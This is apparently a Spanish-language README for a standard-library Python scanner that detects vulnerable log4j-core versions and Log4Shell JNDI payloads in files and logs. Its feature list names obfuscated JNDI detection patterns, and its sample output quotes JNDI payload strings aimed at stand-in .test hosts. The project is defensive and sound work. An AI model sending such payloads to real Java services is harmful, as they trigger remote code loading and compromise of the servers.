
Escáner ligero que detecta versiones vulnerables de Log4j e indicadores de Log4Shell (CVE-2021-44228) en un árbol de sistema de archivos.
Un escáner defensivo sin dependencias para Log4Shell: encuentra archivos jar de log4j-core vulnerables y patrones de explotación JNDI en registros y configuración.
Durante mi rotación en CERT-In trabajé en identificación de amenazas, contención, remediación y búsqueda de amenazas, exactamente el flujo de trabajo que Log4Shell (CVE-2021-44228) exigió a gran escala en diciembre de 2021: encontrar cada artefacto vulnerable de log4j-core en toda una flota, y buscar en registros intentos de explotación ${jndi:...}. Este escáner reconstruye ese flujo de trabajo defensivo en un único script Python portátil de biblioteca estándar que no necesita nada instalado en el host que inspecciona.
.jar / .war / .ear.pom.properties y MANIFEST.MF desde el interior de cada archivo comprimido con zipfile, recurriendo al nombre del archivo; distingue el log4j-core real de otros jars no relacionados.${jndi:ldap:// y ofuscaciones comunes (${${lower:j}ndi:…}, separado por llaves j}ndi:, ${::-j}).JndiLookup.class, más orientación para monitoreo de salida.log4j-core-2.14.1.jar vulnerable falso (zip real que contiene un pom.properties de log4j-core), un 2.17.1.jar parcheado, un jar no relacionado y un registro con payloads JNDI.--demo construye y escanea el árbol de muestra de principio a fin.os, re, zipfile). Sin dependencias.Python 3 (solo biblioteca estándar: argparse, os, re, zipfile).
git clone https://github.com/arpitgupta369/log4shell-scanner.git
cd log4shell-scanner
python --version # Python 3.8+
# no dependencies to install
Ejecuta la demo contra el árbol de muestra empaquetado:
python log4shell_scan.py --demo
Salida esperada (resumida):
--- Archives (log4j-core detection) ---
[ok] .../commons-lang3-3.12.0.jar
version: unknown (via no log4j-core detected)
[VULNERABLE] .../log4j-core-2.14.1.jar
version: 2.14.1 (via pom.properties (...))
!! CVE-2021-44228: Critical RCE via JNDI lookup (Log4Shell).
!! CVE-2021-45046: Incomplete fix; RCE/DoS in certain configs.
!! CVE-2021-45105: Uncontrolled recursion -> Denial of Service.
[ok] .../log4j-core-2.17.1.jar
version: 2.17.1 (via pom.properties (...))
--- Exploit-pattern matches (JNDI payloads in text/logs) ---
[MATCH] .../access.log (2 hit(s))
L2: ... "User-Agent: ${jndi:ldap://malicious-example.test:1389/a}"
L3: ... "X-Api: ${${lower:j}ndi:rmi://evil-example.test/b}"
--- Summary ---
Vulnerable archives: 1
Files with JNDI patterns: 1
Escanee cualquier directorio que esté autorizado a evaluar:
python log4shell_scan.py /path/to/deployed/app
El código de salida del proceso es 1 cuando se encuentra algo vulnerable o sospechoso, 0 cuando está limpio — conveniente para CI/pipeline gating.
Reconstruya el árbol de muestra en cualquier momento:
python log4shell_scan.py --build-samples
log4shell-scanner/
├── log4shell_scan.py # scanner + sample-tree builder + CLI
├── samples/
│ └── app/
│ ├── libs/
│ │ ├── log4j-core-2.14.1.jar # fake VULNERABLE jar (real zip)
│ │ ├── log4j-core-2.17.1.jar # patched jar
│ │ └── commons-lang3-3.12.0.jar # unrelated jar
│ ├── logs/
│ │ └── access.log # contains JNDI payloads
│ └── config.properties # benign (should not match)
├── README.md
├── LICENSE
└── .gitignore
Para uso educativo, defensivo y autorizado únicamente. Ejecútelo solo contra sistemas y artefactos en los que tenga permiso para evaluar. El escáner solo lee y compara patrones — nunca ejecuta ni explota nada. Los archivos jar de muestra empaquetados son marcadores de posición fabricados, no artefactos genuinos de Apache, y todos los nombres de host de payloads utilizan nombres .test no enrutables. Las asignaciones de versión a CVE se proporcionan como orientación; verifique con los avisos de seguridad oficiales de CVE y Apache Log4j.